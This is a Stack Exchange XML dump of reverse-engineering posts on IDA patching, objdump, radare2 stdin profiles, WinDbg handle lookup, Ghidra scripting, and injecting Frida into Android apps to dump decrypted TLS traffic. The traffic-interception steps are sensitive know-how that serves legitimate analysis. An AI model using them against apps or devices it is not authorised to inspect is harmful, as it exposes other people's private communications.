  <row Id="23393" PostTypeId="2" ParentId="23392" CreationDate="2020-03-06T09:20:06.403" Score="2" Body="&lt;p&gt;You can modify the code in IDA. IDA saves internally the original as well as the patched content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make your modifications using the sub menu commands of &lt;strong&gt;Edit -&gt; Patch program&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your modifications are completed you can apply the modifications on an external file. To do so use menu &lt;strong&gt;Edit -&gt; Patch program -&gt; Apply patches to input file&lt;/strong&gt;. &#xA;It allows you to select an external file and apply the changes you have made to it.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2020-03-06T09:20:06.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23394" PostTypeId="2" ParentId="22223" CreationDate="2020-03-06T10:12:53.617" Score="2" Body="&lt;p&gt;You can do this using objdump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 0000: b0 55 15 de ad f1 55 | xxd -r &amp;gt; x.bin&#xA;objdump -D -m i386  -b binary x.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2020-03-06T10:12:53.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23396" PostTypeId="2" ParentId="23359" CreationDate="2020-03-07T09:02:23.563" Score="8" Body="&lt;p&gt;This is a great question, and lucky you - radare2 provides several ways to achieve this. Let's go over the more basic and straightforward options.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Setting up&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First things first, make sure to have the latest radare2 running. At the time of writing, this is v4.3.1. The radare community recommends building radare2 from the source. On Linux systems, it's as simple as cloning the &lt;a href=&quot;https://github.com/radareorg/radare2&quot; rel=&quot;noreferrer&quot;&gt;repository&lt;/a&gt; and executing the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd radare2&#xA;$ ./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: By installing radare2 from package-repositories you may miss crucial features due to old versions.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that this part is behind us, we can continue to the solutions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Preparing test programs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For the following examples, I wrote two programs to demonstrate how the data I dynamically pass from one program to the other program is reflected in its output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;repeater&lt;/strong&gt; is a program that receives user input and prints it to the console.&lt;br&gt;&#xA;&lt;strong&gt;Source:&lt;/strong&gt; repeater.c&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main() {&#xA;&#xA;        char user_input[100];&#xA;        fgets (user_input, 100, stdin);&#xA;        printf (&quot;[+] Received from STDIN: %s\n&quot;, user_input);&#xA;&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;exp&lt;/strong&gt; is a program that prints string to the console.&lt;br&gt;&#xA;&lt;strong&gt;Source:&lt;/strong&gt; exp.c&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main() {&#xA;        // print string, hex values, and the current UNIX time&#xA;        printf (&quot;Hello, \x41\x42\xaf\xd7, %u&quot;, (unsigned)time(NULL));&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To demonstrate the required behavior, we can use these programs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./exp | ./repeater &#xA;[+] Received from STDIN: Hello, AB��, 1583565405&#xA;&#xA;$ ./exp | ./repeater &#xA;[+] Received from STDIN: Hello, AB��, 1583565418&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 0: rarun2 profile&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In radare2, when it gets to interact with a debuggee, rarun2 is your go-to tool.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This program is used as a launcher for running programs with different environments, arguments, permissions, directories and overridden default file descriptors.&lt;br&gt;&#xA;  &lt;strong&gt;Source:&lt;/strong&gt; &lt;code&gt;man rarun2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While very complex and rich with features, we will focus on one of the basic features, interacting with STDIO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your question, it is clear that you are familiar with the concept of rarun2 profiles. When I use rarun2 to pass the output of an exploit to the debuggee, I use a profile that looks somewhat like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat profile.rr2 &#xA;#!/usr/bin/rarun2&#xA;stdin=!./exp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This rarun2 profile will execute the &lt;code&gt;./exp&lt;/code&gt; program and set the output of the program to the stdin of the debuggee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, we can quickly execute the program in radare2 again and again without leaving the radare2 shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create a rarun profile as shown above. Then, open the debuggee in radare2 and load this profile using the &lt;code&gt;-r&lt;/code&gt; flag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load the program in debug mode and use &lt;code&gt;dc&lt;/code&gt; to execute it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -r profile.rr2 -d repeater &#xA;Process with PID 86588 started...&#xA;= attach 86588 86588&#xA;[0x7f89ba9b8100]&amp;gt; dc&#xA;[+] Received from STDIN: Hello, AB��, 1583567900&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, you entered debug mode and the program was executed successfully with the output of the &lt;code&gt;exp&lt;/code&gt; program. You can keep executing the program as many times as you want by using &lt;code&gt;doo (as well as&lt;/code&gt;ood`) that will &quot;Reopen in debug mode with args&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f316b76c100]&amp;gt; doo&#xA;Process with PID 86657 started...&#xA;= attach 86657 86657&#xA;&#xA;[0x7f2aecada100]&amp;gt; dc&#xA;[+] Received from STDIN: Hello, AB��, 1583568042&#xA;&#xA;[0x7f2aec99ace6]&amp;gt; doo&#xA;Process with PID 86660 started...&#xA;= attach 86660 86660&#xA;&#xA;[0x7ff100166100]&amp;gt; dc&#xA;[+] Received from STDIN: Hello, AB��, 1583568056&#xA;&#xA;&#xA;[0x7f0efc9e4ce6]&amp;gt; doo&#xA;Process with PID 86673 started...&#xA;= attach 86673 86673&#xA;&#xA;[0x7f676d6b2100]&amp;gt; # Define Breakpoint at main&#xA;[0x7f676d6b2100]&amp;gt; db main&#xA;&#xA;[0x7f676d6b2100]&amp;gt; dc&#xA;hit breakpoint at: 5652649de159&#xA;&#xA;[0x5652649de159]&amp;gt; dc&#xA;[+] Received from STDIN: Hello, AB��, 1583568059&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method 1: rarun2 rule&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Luckily, you can skip the creation of rarun2 file and just tell radare2 from where it should grab the stdin. This can be done easily by using the &lt;code&gt;-R&lt;/code&gt; flag followed by rarun key and value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -R stdin=\!./exp -d repeater&#xA;Process with PID 87508 started...&#xA;= attach 87508 87508&#xA;&#xA;[0x7f87588c0100]&amp;gt; dc&#xA;[+] Received from STDIN: Hello, AB��, 1583568818&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a one-time shot, and using &lt;code&gt;doo&lt;/code&gt; again from within the radare2 session would not use the same stdin again. But, you can take advantage of the &lt;code&gt;dor&lt;/code&gt; command and do some trick ;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f8758780ce6]&amp;gt; dor?&#xA;| dor [rarun2]  Comma separated list of k=v rarun2 profile options (e dbg.profile)&#xA;&#xA;[0x7f8758780ce6]&amp;gt; dor stdin=!./exp&#xA;[0x7f8758780ce6]&amp;gt; doo&#xA;Process with PID 87594 started...&#xA;= attach 87594 87594&#xA;&#xA;[0x7f8758780ce6]&amp;gt; dc&#xA;[+] Received from STDIN: Hello, AB��, 1583568991&#xA;&#xA;&#xA;[0x7fdb45f3ece6]&amp;gt; # And this of course can be done with a single line&#xA;[0x7fdb45f3ece6]&amp;gt; dor stdin=!./exp; doo; dc&#xA;Process with PID 87627 started...&#xA;= attach 87627 87627&#xA;[+] Received from STDIN: Hello, AB��, 1583569028&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Method ∞&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are other ways you can perform such set-up. Since it will be too long, I will quickly note them down. Here are some ideas:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use backticks: &lt;code&gt;r2 -R &quot;stdin=\&quot;`python -c print(1234)`\&quot;&quot; -d repeater&lt;/code&gt; or even &lt;code&gt;r2 -R &quot;stdin=\&quot;`python -c 'print(1234)'`\&quot;&quot; -d repeater&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use other terminal's tty to redirect STDIN. You can simply pass data to the tty by executing &lt;code&gt;./exp &amp;gt; dev/pts/X&lt;/code&gt; where x is the tty number.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;popen&lt;/code&gt; to write to the process, or redirect output to /proc//fd/0&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an external shell script to automate the tedious tasks you encountered&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2020-03-07T09:02:23.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23397" PostTypeId="2" ParentId="23275" CreationDate="2020-03-07T10:01:33.203" Score="4" Body="&lt;p&gt;There are several ways to show the different functions of a binary file in radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by opening the binary file and analyze it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -A libdbm64.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Command: afl&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The simplest way to list the functions, is the &lt;code&gt;afl&lt;/code&gt; command which stands for &lt;strong&gt;a&lt;/strong&gt;nalysis &lt;strong&gt;f&lt;/strong&gt;unction &lt;strong&gt;l&lt;/strong&gt;ist. The command will list all the functions in the binary and print it with four columns: Offset, Number of blocks, Length, and Name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00001ba0]&amp;gt; afl&#xA;0x00001ba0    4 50   -&amp;gt; 44   entry0&#xA;0x00001ed9    1 114          sym.startWatchDbus&#xA;0x00001b70    1 6            sym.imp.g_bus_watch_name&#xA;0x00003115    1 43           sym.setItemEnabled&#xA;0x00001b60    1 6            sym.imp.dbusmenu_menuitem_property_set_bool&#xA;0x000033f0    1 9            sym._fini&#xA;0x00001f4b    1 20           sym.stopWatchDbus&#xA;0x00001a70    1 6            sym.imp.g_bus_unwatch_name&#xA;0x000030eb    1 42           sym.setItemLabel&#xA;&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Command: afll&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;afll&lt;/code&gt; command is more verbose than the &lt;code&gt;afl&lt;/code&gt; command. It will show more columns and their headers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;address            size  nbbs edges    cc cost          min bound range max bound          calls locals args xref frame name&#xA;================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====&#xA;0x0000000000001ba0   44     4     4     4   19 0x0000000000001ba0    50 0x0000000000001bd2     0    0      0    1     8 entry0&#xA;0x0000000000001ed9  114     1     0     1   30 0x0000000000001ed9   114 0x0000000000001f4b     1    3      3    0    56 sym.startWatchDbus&#xA;0x0000000000001b70    6     1     0     1    3 0x0000000000001b70     6 0x0000000000001b76     0    0      0    1     0 sym.imp.g_bus_watch_name&#xA;0x0000000000003115   43     1     0     1   18 0x0000000000003115    43 0x0000000000003140     1    2      2    0    24 sym.setItemEnabled&#xA;0x0000000000001b60    6     1     0     1    3 0x0000000000001b60     6 0x0000000000001b66     0    0      0    3     0 sym.imp.dbusmenu_menuitem_property_set_bool&#xA;0x00000000000033f0    9     1     0     1    5 0x00000000000033f0     9 0x00000000000033f9     0    0      0    0     8 sym._fini&#xA;0x0000000000001f4b   20     1     0     1   12 0x0000000000001f4b    20 0x0000000000001f5f     1    0      0    0     8 sym.stopWatchDbus&#xA;0x0000000000001a70    6     1     0     1    3 0x0000000000001a70     6 0x0000000000001a76     0    0      0    1     0 sym.imp.g_bus_unwatch_name&#xA;0x00000000000030eb   42     1     0     1   17 0x00000000000030eb    42 0x0000000000003115     1    2      2    0    24 sym.setItemLabel&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Command: aflt&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;aflt&lt;/code&gt; command is using the newly introduced Table API in radare2. By default it will return a table of data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00001ba0]&amp;gt; aflt&#xA;╭─────────────────────────────────────────────────────────────────────────────────────────────────────────╮&#xA;│ addr        │ size  │ name                                               │ nbbs  │ xref  │ calls  │ cc  │&#xA;│─────────────────────────────────────────────────────────────────────────────────────────────────────────│&#xA;│ 0x00001ba0  │ 50    │ entry0                                             │ 4     │ 3     │ 0      │ 4   │&#xA;│ 0x00001ed9  │ 114   │ sym.startWatchDbus                                 │ 1     │ 0     │ 1      │ 1   │&#xA;│ 0x00001b70  │ 6     │ sym.imp.g_bus_watch_name                           │ 1     │ 1     │ 0      │ 1   │&#xA;│ 0x00003115  │ 43    │ sym.setItemEnabled                                 │ 1     │ 0     │ 1      │ 1   │&#xA;│ 0x00001b60  │ 6     │ sym.imp.dbusmenu_menuitem_property_set_bool        │ 1     │ 3     │ 0      │ 1   │&#xA;│ 0x000033f0  │ 9     │ sym._fini                                          │ 1     │ 0     │ 0      │ 1   │&#xA;│ 0x00001f4b  │ 20    │ sym.stopWatchDbus                                  │ 1     │ 0     │ 1      │ 1   │&#xA;│ 0x00001a70  │ 6     │ sym.imp.g_bus_unwatch_name                         │ 1     │ 1     │ 0      │ 1   │&#xA;│ 0x000030eb  │ 42    │ sym.setItemLabel                                   │ 1     │ 0     │ 1      │ 1   │&#xA;...&#xA;...&#xA;&#xA;╰─────────────────────────────────────────────────────────────────────────────────────────────────────────╯&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Table API allows you to query the data you want to see. For example, if I want to only see Name, Offset, and Size I can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00001ba0]&amp;gt; aflt name/cols/addr/size&#xA;╭──────────────────────────────────────────────────────────────────────────╮&#xA;│ name                                               │ addr        │ size  │&#xA;│──────────────────────────────────────────────────────────────────────────│&#xA;│ entry0                                             │ 0x00001ba0  │ 50    │&#xA;│ sym.startWatchDbus                                 │ 0x00001ed9  │ 114   │&#xA;│ sym.imp.g_bus_watch_name                           │ 0x00001b70  │ 6     │&#xA;│ sym.setItemEnabled                                 │ 0x00003115  │ 43    │&#xA;│ sym.imp.dbusmenu_menuitem_property_set_bool        │ 0x00001b60  │ 6     │&#xA;│ sym._fini                                          │ 0x000033f0  │ 9     │&#xA;│ sym.stopWatchDbus                                  │ 0x00001f4b  │ 20    │&#xA;│ sym.imp.g_bus_unwatch_name                         │ 0x00001a70  │ 6     │&#xA;│ sym.setItemLabel                                   │ 0x000030eb  │ 42    │&#xA;...&#xA;...&#xA;│ fcn.00001930                                       │ 0x00001930  │ 6     │&#xA;│ loc.imp.XKeysymToString                            │ 0x00001b50  │ 6     │&#xA;╰──────────────────────────────────────────────────────────────────────────╯&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;JSON&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you are using radare2 for scripting, it is recommended to use the JSON output of every command. &lt;code&gt;aflj&lt;/code&gt; will show you a json output with all the functions. I appended the &lt;code&gt;{}&lt;/code&gt; to make it prettier.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00001ba0]&amp;gt; aflj~{}&#xA;[&#xA;  {&#xA;    &quot;offset&quot;: 7072,&#xA;    &quot;name&quot;: &quot;entry0&quot;,&#xA;    &quot;size&quot;: 50,&#xA;    &quot;is-pure&quot;: &quot;false&quot;,&#xA;    &quot;realsz&quot;: 44,&#xA;    &quot;stackframe&quot;: 8,&#xA;    &quot;calltype&quot;: &quot;amd64&quot;,&#xA;    ...&#xA;    ...&#xA;  }, {&#xA;      ...&#xA;  }&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Cutter&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Finally, if you don't find it comfortable to use the command line for your reverse engineering session. I recommend using &lt;a href=&quot;https://cutter.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cutter&lt;/a&gt; which is a GUI Reverse Engineering framework powered by radare2 and created by the radare organization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3xtfD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3xtfD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, you will have a list of functions on the left. You can expand it to reveal more information.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iPrsg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPrsg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2020-03-07T10:01:33.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23399" PostTypeId="1" CreationDate="2020-03-07T17:17:49.317" Score="0" ViewCount="970" Body="&lt;p&gt;Basically, I cannot find which process is being written to when WriteProcessMemory is being called.&#xA;Currently I'm Setting Breakpoints on WriteProcessMemory and OpenProcess. However, the process handle being passed to WriteProcessMemory is different from that obtained from OpenProcess, so it appears that the process handle is being obtained in another way. Is there something I'm missing out on? Should I add more breakpoints on other functions?&lt;/p&gt;&#xA;" OwnerUserId="31335" LastActivityDate="2020-05-14T12:56:15.950" Title="How To Identify Which Process Is Being Written To With WriteProcessMemory?" Tags="|windows|malware|debuggers|injection|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23400" PostTypeId="2" ParentId="23399" CreationDate="2020-03-07T18:33:11.303" Score="3" Body="&lt;p&gt;which debugger are you using ?&lt;br&gt;&#xA;most debuggers will decipher the handle on the spot&lt;br&gt;&#xA;that is you  can find out the handle info when you have broken on  the WriteProcessMemory() Call itself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is how you can do it with windbg&lt;br&gt;&#xA;i am debugging ollydbg and olllydbg ais debugging calc.exe&lt;br&gt;&#xA;ollydbg is setting a breakpoint in calc.exe (uses WriteProcessMemory()  )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; bl&#xA;     0 e Disable Clear  752444cf     0001 (0001)  0:**** KERNELBASE!WriteProcessMemory&#xA;&#xA;0:000&amp;gt; .lastevent&#xA;Last event: c90.e10: Hit breakpoint 0&#xA;&#xA;0:000&amp;gt; kb1&#xA; # ChildEBP RetAddr  Args to Child              &#xA;00 0012bd44 00457929 0000014c 009c2000 02973020 KERNELBASE!WriteProcessMemory&#xA;&#xA;0:000&amp;gt; !handle 14c f&#xA;Handle 14c&#xA;  Type          Process&#xA;  Attributes    0&#xA;  GrantedAccess 0x1fffff:&#xA;         Delete,ReadControl,xxxx,SetPort&#xA;  HandleCount   4&#xA;  PointerCount  10&#xA;  Name          &amp;lt;none&amp;gt;&#xA;  Object Specific Information&#xA;    Process Id  3336&#xA;    Parent Process  3216&#xA;    Base Priority 8&#xA;&#xA;0:000&amp;gt; dx Debugger.Utility.Control.ExecuteCommand(&quot;.tlist&quot;).Where(a=&amp;gt;a.Contains(&quot;3336&quot;)==true)&#xA;Debugger.Utility.Control.ExecuteCommand(&quot;.tlist&quot;).Where(a=&amp;gt;a.Contains(&quot;3336&quot;)==true)                &#xA;    [0x30]           :  0n3336 calc.exe&#xA;&#xA;0:000&amp;gt; dx Debugger.Utility.Control.ExecuteCommand(&quot;.tlist&quot;).Where(a=&amp;gt;a.Contains(&quot;3216&quot;)==true)&#xA;Debugger.Utility.Control.ExecuteCommand(&quot;.tlist&quot;).Where(a=&amp;gt;a.Contains(&quot;3216&quot;)==true)                &#xA;    [0x2f]           :  0n3216 ollydbg.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-03-07T18:33:11.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23401" PostTypeId="1" AcceptedAnswerId="23402" CreationDate="2020-03-08T11:07:48.550" Score="3" ViewCount="2500" Body="&lt;p&gt;What is the way to get the program base address in &lt;code&gt;Ghidra&lt;/code&gt;? &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-03-08T13:07:15.580" Title="Ghidra python - get program base address" Tags="|elf|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23402" PostTypeId="2" ParentId="23401" CreationDate="2020-03-08T13:07:15.580" Score="6" Body="&lt;p&gt;You can use &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/listing/Program.html#getImageBase()&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;currentProgram.getImageBase()&lt;/code&gt;&lt;/a&gt; to obtain the base address. This returns an &lt;code&gt;Address&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; currentProgram.getImageBase()&#xA;00400000&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; type(currentProgram.getImageBase())&#xA;&amp;lt;type 'ghidra.program.model.address.GenericAddress'&amp;gt;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; currentProgram.getImageBase().getOffset()&#xA;4194304L&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; hex(currentProgram.getImageBase().getOffset())&#xA;'0x400000L'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2020-03-08T13:07:15.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23403" PostTypeId="2" ParentId="11431" CreationDate="2020-03-08T20:49:22.793" Score="2" Body="&lt;p&gt;&lt;em&gt;(Copy of an answer I gave on Stack Overflow)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try injecting code into the Android app to sniff and dump SSL traffic. Take a look at &lt;a href=&quot;https://github.com/5alt/ssl_logger&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/5alt/ssl_logger&lt;/a&gt; (5alt's fork works with Android). Note that &lt;strong&gt;you need root for this&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works by hooking functions inside OpenSSL so that the raw traffic can be dumped before encryption/after decryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to install Frida Android server: &lt;a href=&quot;https://www.frida.re/docs/android/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.frida.re/docs/android/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Connect phone with USB debugging on&lt;/li&gt;&#xA;&lt;li&gt;Download &lt;code&gt;frida-server&lt;/code&gt; for the right CPU architecture from  &lt;a href=&quot;https://github.com/frida/frida/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/frida/frida/releases&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To know which CPU architecture your device is using (for getting the right download), you can run &lt;code&gt;getprop ro.product.cpu.abi&lt;/code&gt; on the phone.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Push to &lt;code&gt;/data/local/tmp&lt;/code&gt; of Android (as root), make executable (&lt;code&gt;chmod 755&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;/data/local/tmp/frida-server&lt;/code&gt; on the phone.&lt;/li&gt;&#xA;&lt;li&gt;On your computer, install &lt;code&gt;frida-tools&lt;/code&gt; using &lt;code&gt;pip install --user frida-tools&lt;/code&gt;. (Must be Python2, not Python3!)&lt;/li&gt;&#xA;&lt;li&gt;List processes to see if everything works, by running &lt;code&gt;frida-ps -U&lt;/code&gt; on your computer with the phone connected&lt;/li&gt;&#xA;&lt;li&gt;Forward Frida's ports: &lt;code&gt;adb forward tcp:27042 tcp:27042; adb forward tcp:27043 tcp:27043&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Get &lt;a href=&quot;https://github.com/5alt/ssl_logger&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ssl_logger&lt;/code&gt;&lt;/a&gt; on your computer&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;python ssl_logger.py -pcap log.pcap -remote com.android.package.name&lt;/code&gt; on your computer. (Note that &lt;code&gt;-remote&lt;/code&gt; is not explained in the readme, but it's necessary!.)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can add &lt;code&gt;-verbose&lt;/code&gt; to see live traffic output.&lt;/li&gt;&#xA;&lt;li&gt;Let it run until you are done, quit with Ctrl+C. You then have a file &lt;code&gt;log.pcap&lt;/code&gt; which you can analyze in Wireshark.&lt;/li&gt;&#xA;&lt;li&gt;Note: In case you are getting a JavaScript error, you have to edit &lt;code&gt;ssl_logger.py&lt;/code&gt; and insert a line with &lt;code&gt;var addresses, SSL_get_fd, SSL_get_session, SSL_SESSION_get_id, getpeername, getsockname;&lt;/code&gt; before the line with &lt;code&gt;function initializeGlobals&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tutorials for using Frida on Android:  &lt;a href=&quot;https://11x256.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://11x256.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15919" LastActivityDate="2020-03-08T20:49:22.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23404" PostTypeId="2" ParentId="21321" CreationDate="2020-03-08T20:51:28.370" Score="2" Body="&lt;p&gt;You can instead try injecting code into the process to dump the raw data before it is encrypted/after it is decrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Google's &lt;a href=&quot;https://github.com/google/ssl_logger/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ssl_logger&lt;/code&gt;&lt;/a&gt; for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to run &lt;code&gt;python ssl_logger.py -pcap log.pcap 123&lt;/code&gt; with &lt;code&gt;123&lt;/code&gt; being the process ID. Add &lt;code&gt;-verbose&lt;/code&gt; to see live output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that it needs Python2 and not Python3.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are done, quit with Ctrl+C and analyze the &lt;code&gt;log.pcap&lt;/code&gt; file in Wireshark, it will now contain unencrypted data.&lt;/p&gt;&#xA;" OwnerUserId="15919" LastActivityDate="2020-03-08T20:51:28.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
